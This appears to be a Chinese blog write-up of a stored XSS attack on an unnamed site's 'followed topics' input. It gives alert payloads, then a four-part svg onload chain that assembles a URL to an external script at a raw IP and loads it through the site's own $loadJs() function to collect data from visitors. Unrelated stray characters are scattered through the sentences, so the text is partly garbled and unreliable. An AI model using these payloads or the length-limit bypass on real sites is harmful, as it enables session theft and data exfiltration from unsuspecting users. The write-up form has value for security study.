某站 添加“我關(guān)注的話題”處,存在XSS
在個(gè)人主頁(yè)處點(diǎn)擊添加話題熊楼,寫入XSS測(cè)試 : <script>alert(1)</script>
1.png
點(diǎn)擊確定后霹娄,頁(yè)面無(wú)明顯變化,在點(diǎn)擊刪除時(shí)才觸發(fā)了彈窗:
2.png
此處用script標(biāo)簽觸發(fā)條件較為苛刻鲫骗。換用img標(biāo)簽再次測(cè)試:<img src=a onerror=alert(1)>
3.png
點(diǎn)擊確定后犬耻,直接觸發(fā)了彈窗:
4.png
接下來(lái),就要嘗試引入外部JS文件了执泰。由于輸入框有字?jǐn)?shù)限制枕磁,無(wú)法一次性引入js文件,慶幸的是此處輸入可以累計(jì)添加,后面的輸入不會(huì)覆蓋掉前面的术吝。在引用通用的payload 時(shí)计济,又遇到了另一個(gè)問(wèn)題,那就是即使截取成最短的長(zhǎng)度排苍,中間一句還是超過(guò)長(zhǎng)度限制峭咒,這個(gè)時(shí)候就需要再考慮對(duì)方網(wǎng)站架構(gòu),觀察js框架纪岁,最后找到了$loadJs()--> 對(duì)方網(wǎng)站的js api 。直接調(diào)用就好啦~~~
下面 分四次添加這段xs代碼:
<svg onload="b='http://123'">
<svg onload="b+='.206.93.11'">
<svg onload="b+='/probe.js'">
<svg onload="$loadJs(b)">
5.png
6.png
7.png
8.png
添加完成后则果,刷新頁(yè)面幔翰,在接收端即可收到信息:
9.png